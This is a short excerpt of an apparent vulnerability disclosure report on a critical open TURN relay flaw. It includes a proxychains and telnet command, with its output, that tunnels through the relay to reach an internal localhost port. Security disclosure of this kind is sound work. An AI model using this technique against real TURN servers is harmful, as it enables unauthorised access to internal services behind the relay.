Open TURN relay abuse is possible due to lack of peer access control (Critical)
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原文摘录
摘自原文(4075 字符中的一小部分)
> NOTE: This is not an SSRF vulnerability but an open TURN relay vulnerability. Typically, this security vulnerability has at least the same impact as an SSRF. However it is considered more useful from an attacker's point of view since attacks are not restricted to HTTP.
原文中的代码
proxychains -f config telnet 127.0.0.1 5766 [proxychains] config file found: config [proxychains] preloading /usr/lib64/proxychains-ng/libproxychains4.so [proxychains] DLL init: proxychains-ng 4.13 Trying 127.0.0.1... [proxychains] Dynamic chain ... 127.0.0.1:9999 ... 127.0.0.1:5766 ... OK …
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时间线
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- 公开披露
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